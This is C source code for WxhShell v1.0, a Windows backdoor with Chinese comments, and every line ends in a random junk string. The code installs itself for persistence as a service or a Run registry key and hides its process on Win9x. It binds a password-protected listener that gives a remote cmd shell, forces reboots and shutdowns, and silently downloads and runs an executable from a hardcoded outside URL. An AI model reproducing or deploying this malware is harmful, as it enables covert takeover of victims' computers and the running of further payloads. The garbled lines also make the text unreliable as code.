    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;OMR5KAz  
    if(Boot(SHUTDOWN)) @GVONluyU`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CE5A^,EsB  
    else { &u`]Zn   
    closesocket(wsh); Ei HQ&u*  
    ExitThread(0); #zf,%IYF  
    } I%|,KWM  
    break; nmo<t]  
    } `{KdmWhW  
  // 获取shell Vb @lK~  
  case 's': { G-6k[-@-v  
    CmdShell(wsh); 1G'D'  
    closesocket(wsh); IgIM8"N  
    ExitThread(0); .IU\wN  
    break; *SK`&V  
  } fzdWM:g  
  // 退出 eIDrN%3  
  case 'x': { Xi~7pH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?W 6 :$  
    CloseIt(wsh); Qx")D?u  
    break; 79*f <Gr  
    } 9 _oAs"w  
  // 离开 A+=K<e  
  case 'q': { ^j!2I&h1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P @Jo[J<  
    closesocket(wsh); %O|+` "  
    WSACleanup(); 0SV<Pl^  
    exit(1); eF"k"Ckt'  
    break; 7gc?7TM  
        } ZX8 AB  
  } "Cz0r"N  
  } Jn&^5,J]F8  
wS7nTZfw  
  // 提示信息 v]GQb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 12VSzIm  
} f6,?Yex8B  
  } 29HyeLB@  
F~$ay@g  
  return; [.Rdq]w6  
} yU"lJ>Eh}}  
uXouN$&  
// shell模块句柄 ge4QaK  
int CmdShell(SOCKET sock) <nk9IAH  
{ ;Rf@S$  
STARTUPINFO si; V7"^.W*  
ZeroMemory(&si,sizeof(si)); F{G.dXZZ<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /UqIkc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4KX\'K  
PROCESS_INFORMATION ProcessInfo; 4aiI&,  
char cmdline[]="cmd"; *e25!#o1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qKD Nw8>  
  return 0; b5S4C2Ynq  
} fm0]nT   
#F=!g?  
// 自身启动模式 5{xK&[wR*  
int StartFromService(void) #9glGPR(  
{ +-!2nk`"a  
typedef struct l*w*e.ezQ  
{ hLr\;Swyp  
  DWORD ExitStatus; /o^/ J~/3  
  DWORD PebBaseAddress; _+9o'<#u(  
  DWORD AffinityMask; m%cwhH_B  
  DWORD BasePriority; FL {$9o\@  
  ULONG UniqueProcessId; ?J@P0(M#  
  ULONG InheritedFromUniqueProcessId; 7Ucq(,\./  
}   PROCESS_BASIC_INFORMATION; &Nw[J5-"k  
+O)Y7k{?C5  
PROCNTQSIP NtQueryInformationProcess; ?="?)t[  
ZY|$[>X!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W)<t7q+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bm5\*Xd1(  
4-?zW  
  HANDLE             hProcess; ^kK% 8 u  
  PROCESS_BASIC_INFORMATION pbi; OH13@k  
fXe$Ug|5a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qg2Vmj<H  
  if(NULL == hInst ) return 0; {kghZur  
Vb)NWXmyu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aL&nD1f=!-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,1B` Ve  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d"tR ?j  
l<;~sag  
  if (!NtQueryInformationProcess) return 0; 6Nws>(Ij  
7]_zWx,r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "r~/E|Da<  
  if(!hProcess) return 0; ffMk.SqI  
F/cA tT.M?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -wr_x<7  
g`w46X  
  CloseHandle(hProcess); NX5$x/uz  
.^6yCs5~`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :'FCeS9  
if(hProcess==NULL) return 0; DP-0,Gt&Xj  
)b1X6w[  
HMODULE hMod; J$U_/b.mk  
char procName[255]; \YSprXe  
unsigned long cbNeeded; 1H?I?IT30  
w*]FJ-b<.j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HQNpf1=D  
Tol"D2cyf  
  CloseHandle(hProcess); X/_89<&  
&xpvHKJl  
if(strstr(procName,"services")) return 1; // 以服务启动 ,n2"N5{jw  
"A> _U<Y  
  return 0; // 注册表启动 \ B'AXv 6  
} G +&pq  
e$Mvl=NYp\  
// 主模块 ?G<ISiABQC  
int StartWxhshell(LPSTR lpCmdLine) sDY+J(Z  
{ 4Y{;%;-i  
  SOCKET wsl; [C\B2iU7_M  
BOOL val=TRUE; g;Zy3   
  int port=0; kA> e*6  
  struct sockaddr_in door; 1aZGt2;  
D"2bgw  
  if(wscfg.ws_autoins) Install(); w"37sv  
H>Ucmd;ay  
port=atoi(lpCmdLine); dUUg}/  
' &3,qT  
if(port<=0) port=wscfg.ws_port; wD:2sri  
:cf#Tpq"  
  WSADATA data; r@}8TE*|P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FU(2,Vl  
gLRDd~H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z6-ZAS(>m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M!D6i5k,   
  door.sin_family = AF_INET; gWL`J=DiU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :G#+ 5 }  
  door.sin_port = htons(port); cvQAo|  
i{16&4 '  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UmArl)R/  
closesocket(wsl); nwMq~I*1  
return 1; _ds;:*N+qA  
} %E"v@  
{VXucGI|  
  if(listen(wsl,2) == INVALID_SOCKET) { 2liJ^ `  
closesocket(wsl); gm%cAme  
return 1;  <k0/O  
} p I~;3T:!  
  Wxhshell(wsl); G8 q<)  
  WSACleanup(); Uu52uR  
M[+#*f.T}  
return 0; Yep~C %/}  
jSSEfy>^  
} 'F#dv[N  
V/:2xT  
// 以NT服务方式启动 9 r&JsCc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ivOSr7s}  
{ gX7R-&[UD  
DWORD   status = 0; )Ay9 0Wt  
  DWORD   specificError = 0xfffffff; .lq83; k  
&r,)4q+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g~$UU(HX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `/?'^A%Ik  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =6+99<G|%M  
  serviceStatus.dwWin32ExitCode     = 0; m;A[ 2 6X  
  serviceStatus.dwServiceSpecificExitCode = 0; L^zh|MEyzk  
  serviceStatus.dwCheckPoint       = 0; hsT&c|  
  serviceStatus.dwWaitHint       = 0; }dHdy{$  
MTN*{ug2:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HOF=qE*p  
  if (hServiceStatusHandle==0) return; =LODX29  
I!Z"X&  
status = GetLastError(); i(OeE"YA  
  if (status!=NO_ERROR) l^$'6q"  
{ $:\`E 56\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5KDCmw  
    serviceStatus.dwCheckPoint       = 0; oH!O{pQK}  
    serviceStatus.dwWaitHint       = 0; ,QpFVlPU  
    serviceStatus.dwWin32ExitCode     = status; gWoUE7.3`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ rQ,%dH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Pa(e)8\  
    return; u>G9r#~`k  
  } 9zS   
x(xi%?G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `R>z{-@=  
  serviceStatus.dwCheckPoint       = 0; KQvSeH>r  
  serviceStatus.dwWaitHint       = 0; ~**x_ v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jd,i=P%  
} ~%C F3?e6  
[0hahR  
// 处理NT服务事件,比如:启动、停止 Lr 5{c5M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <,rOsE6  
{ O`@- b#  
switch(fdwControl) =<#G~8WYz  
{ U4^c{KWS  
case SERVICE_CONTROL_STOP: tXH;4K@  
  serviceStatus.dwWin32ExitCode = 0; lixM0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D7T|K :F)  
  serviceStatus.dwCheckPoint   = 0; E>f{j:M  
  serviceStatus.dwWaitHint     = 0; l)dE7$H  
  { $B_%MfI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gua7<z6=eh  
  } (ie%zrhS  
  return; -*MY7t3  
case SERVICE_CONTROL_PAUSE: jU7[z$GX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * Ogf6  
  break; ,a,2I  
case SERVICE_CONTROL_CONTINUE: )5LT!14  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6_])(F3+w.  
  break; y(MB _B7j  
case SERVICE_CONTROL_INTERROGATE: N%xCyZ  
  break; ,ofE*Wt  
}; <R;wa@a>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M?UUT8,  
} 'j<u0'K@  
<n06(9BF  
// 标准应用程序主函数 Btm _S\1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DKu$u ]Z  
{ 'QxJU$  
GCq4{_B\Q  
// 获取操作系统版本 L!zdrCM  
OsIsNt=GetOsVer(); Q}OloA(+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); op5 `#{  
>e R^G5rn;  
  // 从命令行安装 W. kcN,  
  if(strpbrk(lpCmdLine,"iI")) Install(); !5C"`@}q>  
2dkWzx  
  // 下载执行文件 3 dJ362  
if(wscfg.ws_downexe) { !cYID \}S,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X,_K )f  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0bM_EC  
} %" 7UYLX  
} O $]xB  
if(!OsIsNt) { y|KQ`;  
// 如果时win9x,隐藏进程并且设置为注册表启动 h=gtuaR4  
HideProc(); 8K-P]]  
StartWxhshell(lpCmdLine); k]5tU\;Yw  
} $b1>,d'oz  
else S-88m/"]s  
  if(StartFromService()) qbfX(`nS  
  // 以服务方式启动 q%e'WMG~n  
  StartServiceCtrlDispatcher(DispatchTable); H~nX! sO  
else uJ -$i  
  // 普通方式启动 9N'fU),I  
  StartWxhshell(lpCmdLine); T+&fUhSy  
t_w\k_ T  
return 0; -43>?m/a  
} B I)@n:p  
qvB{vU  
|cY,@X,X6  
8|=C/k  
=========================================== (w)%2vZ^  
y zp#  
r8:"\%"f>  
!zF0 7.(E  
~Jr'4%   
X"+p=PGZK  
" K+!e1 '  
4Ii5V c  
#include <stdio.h> '(3 QyCD  
#include <string.h> P@ew' JL%  
#include <windows.h> 8`urkEI^r  
#include <winsock2.h> ub-e!{  
#include <winsvc.h> FEu"b@v  
#include <urlmon.h> SfC* ZM}<  
||QK)$"  
#pragma comment (lib, "Ws2_32.lib") O}Pqbx&  
#pragma comment (lib, "urlmon.lib") )5~T%_  
b)Da6fp  
#define MAX_USER   100 // 最大客户端连接数 7 uL.=th'  
#define BUF_SOCK   200 // sock buffer SA}Dkt&,  
#define KEY_BUFF   255 // 输入 buffer = NZgbl  
f0sLe 3  
#define REBOOT     0   // 重启 03v+eT  
#define SHUTDOWN   1   // 关机 j;@a~bks6z  
heou\;GI"  
#define DEF_PORT   5000 // 监听端口 +5*bU1}O  
$.4A?,d  
#define REG_LEN     16   // 注册表键长度 L<@*6QH  
#define SVC_LEN     80   // NT服务名长度  5)'Y\~2  
ajk}&`Wj"  
// 从dll定义API B2Y.1mXq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NL$z4m0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }k-8PG =  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^rO"U[To  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1bQO:n):~  
c.Sd~k:3  
// wxhshell配置信息 |YROxY"ML  
struct WSCFG { >P~*@>e  
  int ws_port;         // 监听端口 *{#C;"  
  char ws_passstr[REG_LEN]; // 口令 !'^l}K>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4jebx jZ  
  char ws_regname[REG_LEN]; // 注册表键名 k-=lt \?  
  char ws_svcname[REG_LEN]; // 服务名 6R<+_e+v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wB0vpt5f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yjL+1_"B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?SFQx \/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j [lS.Lb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 06^/zr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z6@8IszU  
[?I<$f"  
}; HP]5"ziA  
-`XS2  
// default Wxhshell configuration x;yvv3-$  
struct WSCFG wscfg={DEF_PORT, &Jj|+P-lY  
    "xuhuanlingzhe", +S0aA Wal  
    1, _|I8+(~)  
    "Wxhshell", ["Ts7;q9[  
    "Wxhshell", {Z8GG  
            "WxhShell Service", UMRFTwY  
    "Wrsky Windows CmdShell Service", lL:!d.{  
    "Please Input Your Password: ", 4E5;wH  
  1, M{G}-QK_.  
  "http://www.wrsky.com/wxhshell.exe", ;X<Ez5v3  
  "Wxhshell.exe" gjG SI'M0B  
    }; 07:V[@'  
~M^[  
// 消息定义模块 r_$*euh@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &mVClq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e`g+Jf`AT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y@~ VE5N  
char *msg_ws_ext="\n\rExit."; }8tF.QjR|  
char *msg_ws_end="\n\rQuit."; wW*7  
char *msg_ws_boot="\n\rReboot..."; 7ihcjyXB  
char *msg_ws_poff="\n\rShutdown..."; rHw#<oV  
char *msg_ws_down="\n\rSave to "; 3#t#NW*e  
f EL 9J{  
char *msg_ws_err="\n\rErr!"; 9zqo!&  
char *msg_ws_ok="\n\rOK!"; q`r| DcN~  
v%cCJ SO#  
char ExeFile[MAX_PATH]; B_ict)}ld  
int nUser = 0; !xck ~EAS  
HANDLE handles[MAX_USER]; Z[*unIk  
int OsIsNt; lH=|Qu  
p2 1|  
SERVICE_STATUS       serviceStatus; <{k{Coy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3f^Pr  
\h=*pAf  
// 函数声明 \OkZ\!<hg  
int Install(void); |E?r+]  
int Uninstall(void); E&kv4,  
int DownloadFile(char *sURL, SOCKET wsh); Y|r7gy9%  
int Boot(int flag); 1!.-/  
void HideProc(void); d"Zu10  
int GetOsVer(void); 1qNO$M  
int Wxhshell(SOCKET wsl); N gF7$@S  
void TalkWithClient(void *cs);  "LB MYZ  
int CmdShell(SOCKET sock); pTq DPU  
int StartFromService(void); !Ea >tQ|  
int StartWxhshell(LPSTR lpCmdLine); e,}h^^"  
`OMX 9i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b;jdk w|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $k0(iFzR1  
H; \C7w|  
// 数据结构和表定义 q,)V0Ffe[|  
SERVICE_TABLE_ENTRY DispatchTable[] = V5ZC2H  
{ I9G^T' W  
{wscfg.ws_svcname, NTServiceMain}, tIDN~[1  
{NULL, NULL}  :2nsi4  
}; $T3_~7N  
qA)YYg/G  
// 自我安装 s$pXn&:  
int Install(void) 8&8!(\xv  
{ <9X@\uvU.<  
  char svExeFile[MAX_PATH]; yR|2><A  
  HKEY key; Nf!N;Cy?  
  strcpy(svExeFile,ExeFile); iS+"Jsz  
.kFO@:  
// 如果是win9x系统,修改注册表设为自启动 [(x<2MTj  
if(!OsIsNt) { Ed u(dZbKg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { DP9^hg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WlQCPC  
  RegCloseKey(key); @;OsHudd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o]&q'>Rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /jJD {  
  RegCloseKey(key); *]U`]!Esp  
  return 0; N\__a~'0p  
    } %r1#G.2YW  
  } &,G2<2_b  
} ZH\t0YhrVe  
else { (4 ZeyG@  
:lo5,B;k  
// 如果是NT以上系统,安装为系统服务 lFt!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }_KzF~  
if (schSCManager!=0) m0;j1-t  
{ o%~fJx:]y  
  SC_HANDLE schService = CreateService xS_;p9{E  
  ( ' F.^ 8/>  
  schSCManager, ;=0mL,  
  wscfg.ws_svcname, W;I{4ed6  
  wscfg.ws_svcdisp, gNP1UH4m  
  SERVICE_ALL_ACCESS, X,VI5$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bdstxjJ`  
  SERVICE_AUTO_START, :5/Ue,~ag  
  SERVICE_ERROR_NORMAL, EF:ec9 .  
  svExeFile, d lfjx  
  NULL, 5&Yt=)c\  
  NULL, zs]ubJC@  
  NULL, >&;J/ME  
  NULL, ]'Eg2(wy  
  NULL zGU MH7 M  
  ); ?:9y !Q=  
  if (schService!=0) x+4K,r;  
  { |x1OWm1:<  
  CloseServiceHandle(schService); t'eu>a1D  
  CloseServiceHandle(schSCManager); *O'|NQhNx>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b>p_w%d[[J  
  strcat(svExeFile,wscfg.ws_svcname); -y!Dg6 A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :'Gn?dv|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <jJ'T?,  
  RegCloseKey(key); 05ClPT\BCr  
  return 0; `Z,WKus  
    } ek<B=F  
  } 9*I[q[>9  
  CloseServiceHandle(schSCManager); =JE<oVP8  
} wicsf<]  
} #Q7:Mu+  
L^t%p1R  
return 1;  DlCN  
} Wo&22,EB  
+I5\ `By=  
// 自我卸载 X8Z) W?vu  
int Uninstall(void) ]'xci"qV`  
{ gBV4IQ  
  HKEY key; GEy7Vb)  
cwvJH&%0  
if(!OsIsNt) { 5lHt~hB\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZVH 9je  
  RegDeleteValue(key,wscfg.ws_regname); )x\%*ewY  
  RegCloseKey(key); Xk|a%%O*H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i/_rz.c~3  
  RegDeleteValue(key,wscfg.ws_regname); f91]0B `C  
  RegCloseKey(key); >mA]2gV<a  
  return 0; Y<W9LF  
  } Bv~^keuj3t  
} ,X_3#!y  
} &cyB}Gv  
else { d>F7i~W  
;/+<N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [/hoNCH!  
if (schSCManager!=0) zu?112-v2  
{ -x6_HibbD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [x 7Rq_^  
  if (schService!=0) gnN>Rl 5_  
  { 'Y2$9qy-L  
  if(DeleteService(schService)!=0) { X HJdynt/  
  CloseServiceHandle(schService); gKTCfD~  
  CloseServiceHandle(schSCManager); 4 `l$0m@>  
  return 0; ~\-=q^/!  
  } b~fl,(sZp  
  CloseServiceHandle(schService); [F*yh9%\  
  } ^n~Kr1}nj  
  CloseServiceHandle(schSCManager); *<cRQfA1  
} BKTTta1mY  
} xS@jV6E~  
(^B1Kt!<  
return 1; prS%lg>  
} /Hk})o_  
Y{j~;G@Wl  
// 从指定url下载文件 ~H\P0G5GA  
int DownloadFile(char *sURL, SOCKET wsh) ]vcT2lr]  
{ NaoOgZ?  
  HRESULT hr; _`=qc/-0  
char seps[]= "/"; V#,|#2otZ  
char *token; ,Zie2I?q  
char *file; *j83E[(]  
char myURL[MAX_PATH]; :1f,%Z$,q  
char myFILE[MAX_PATH]; 4IZAJqw(*  
_s#J\!F  
strcpy(myURL,sURL); WVQHb3Pe0  
  token=strtok(myURL,seps); 7n .A QII  
  while(token!=NULL) C\"C12n{  
  { %6fnL~ A  
    file=token; Nz{qu}dt  
  token=strtok(NULL,seps); &0T7Uv-`  
  } v,Kum<oi?  
kPy7e~  
GetCurrentDirectory(MAX_PATH,myFILE); !Usmm8!K  
strcat(myFILE, "\\"); ,.{M1D6'R`  
strcat(myFILE, file); W="pu5q$5  
  send(wsh,myFILE,strlen(myFILE),0); rJf{YUZe  
send(wsh,"...",3,0); BPW.&2?<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u=@zYA(  
  if(hr==S_OK) ]2"UR_x  
return 0; $U ._4  
else B_Gcz5  
return 1; fGj66rMGw  
Se[=$W  
} [%LGiCU]  
`@\FpV[|P  
// 系统电源模块 ?-&k?I  
int Boot(int flag) ?7CdJgJp  
{ 2vUcSKG7  
  HANDLE hToken; D3g5#.$,}>  
  TOKEN_PRIVILEGES tkp; +-t&li%F  
(Q `Ps /  
  if(OsIsNt) { 9BOn8p;yz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p79QEIbk=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >nehyo:#  
    tkp.PrivilegeCount = 1; D{8B;+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ro$*bN6p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G1X73qoHT<  
if(flag==REBOOT) { )qX.!&|I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lgt&kdc%o  
  return 0; &9v8  
} Q!-"5P X  
else { yWc%z6dXC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pt-mLINvG  
  return 0; :k_)Bh?+  
} N>L)2WKFT  
  } )=glN<*?  
  else { ?:GrM!kq76  
if(flag==REBOOT) { zBI2cB8;P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [xfg6  
  return 0; p `oB._ R  
} ,lCFe0>k!=  
else { +c]D2@ctG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V=1yg24B<  
  return 0; Y -BZV |  
} KvPLA{  
} H^B,b !5i  
0ZL>-  
return 1; -{?xl*D  
} B2BG*xa  
kSge4?&  
// win9x进程隐藏模块 !eb{#9S*  
void HideProc(void) k=Wt57jt  
{ *mn9CVZ(}M  
XkW@"pf&Fh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iH>JR[A  
  if ( hKernel != NULL ) 8PeVHpZ  
  { g-x;a0MQx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8j]QnH0&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C2iOF/4  
    FreeLibrary(hKernel); m=pH G  
  } jtpk5 fJB  
ept:<!4  
return; {9@E[bWp#  
}  .;vd  
\Ff]}4  
// 获取操作系统版本 ]=|iO~WN  
int GetOsVer(void) 0^2e^qf  
{ X2~KNw  
  OSVERSIONINFO winfo; REX/:sB<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z __#P Q,n  
  GetVersionEx(&winfo); s!Id55R]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3!?QQT,!)  
  return 1; x)q$.u+  
  else ~Wm'~y>  
  return 0; g*9&3ov  
} I2z7}*<u  
Br$/hn=  
// 客户端句柄模块 '/ueY#eG  
int Wxhshell(SOCKET wsl) x1CMW`F  
{ 4^6Oh#p0  
  SOCKET wsh; >Zf*u;/dW$  
  struct sockaddr_in client; su-0G?c  
  DWORD myID; q{yzux  
gs@^u#O  
  while(nUser<MAX_USER) z;0]T=g  
{ [ifQLsHA  
  int nSize=sizeof(client); 4g.S!-H@R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S[rfcL"  
  if(wsh==INVALID_SOCKET) return 1; A}"uEk(R  
oY@]&A^ah  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m1p% ,  
if(handles[nUser]==0) el^<M,7!  
  closesocket(wsh); K^I$05idi  
else )gR3S%Ju  
  nUser++; dt>!=<|k  
  } ybB<AkYc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;ov}%t>UD  
9I|Q`j?p`  
  return 0; KA`)dMWL  
} wp/x|AV  
LR17ilaa'  
// 关闭 socket +hWeN&A  
void CloseIt(SOCKET wsh) xJvalb   
{ mL, {ZL ^  
closesocket(wsh); l4^8$@;s  
nUser--; ,6U=F#z  
ExitThread(0); "yXqf%CGE  
} Y}x_ud,  
zWdz9;=_  
// 客户端请求句柄 okW'}@jD  
void TalkWithClient(void *cs) Pb :6nH=  
{ \ItAc2,Fl  
~1{~iB2G  
  SOCKET wsh=(SOCKET)cs;  ~#z b  
  char pwd[SVC_LEN]; 0`WZ  
  char cmd[KEY_BUFF]; %cMayCaI!@  
char chr[1]; J= DD/Gp  
int i,j; ^A;ec h7I  
y|.dM.9V  
  while (nUser < MAX_USER) { qSVg.<+  
`,wX&@sN  
if(wscfg.ws_passstr) { l %xeM !}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); klj.\wg/p{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Au?(_*/0  
  //ZeroMemory(pwd,KEY_BUFF); Qnp.Na[JV  
      i=0; piiO5fK|  
  while(i<SVC_LEN) { _lk5\bu  
jRdW=/q+(  
  // 设置超时 U09@pne8  
  fd_set FdRead; RKz _GEH)  
  struct timeval TimeOut; y|D-W>0cX3  
  FD_ZERO(&FdRead); `VOLw*Ci  
  FD_SET(wsh,&FdRead); ]JHY(H2|  
  TimeOut.tv_sec=8; (WS<6j[q  
  TimeOut.tv_usec=0; SYK?5_804  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (pQ$<c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^m^,:]I0P  
'8Lc}-M4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p WKpc  
  pwd=chr[0]; &[}5yos r  
  if(chr[0]==0xd || chr[0]==0xa) { YWa9|&m1  
  pwd=0; Jb z>j\  
  break; {S5D~A*a+  
  } n %P,"V  
  i++; Rv+p4RgA  
    } ?x =Sm|Ej  
Fd0\T#k  
  // 如果是非法用户,关闭 socket ^TY8,qDA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 51M'x_8  
} rxIYgh  
3_k3U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N_8L8ds5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [$GQ]Y  
?B,B<@='%  
while(1) { s}Sxl0  
x1*@PiO,.  
  ZeroMemory(cmd,KEY_BUFF); Z{.L_ ]$ I  
/B9jmvj`  
      // 自动支持客户端 telnet标准   bk-aj'>+  
  j=0; u&Dd9kMz  
  while(j<KEY_BUFF) { iJK rNRj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,k3aeM~`%w  
  cmd[j]=chr[0]; CU(W0D  
  if(chr[0]==0xa || chr[0]==0xd) { s((_^yf  
  cmd[j]=0;  SjO Iln  
  break; @-qC".CI  
  } ()i!Uo  
  j++; QJ-?6 7_i  
    } EC| b7  
Z})n%l8J]p  
  // 下载文件 \\~4$Ai[  
  if(strstr(cmd,"http://")) { 6MR S0{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6PI-"He  
  if(DownloadFile(cmd,wsh)) GB_ m&t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |k9A*7I  
  else s97L/iH  
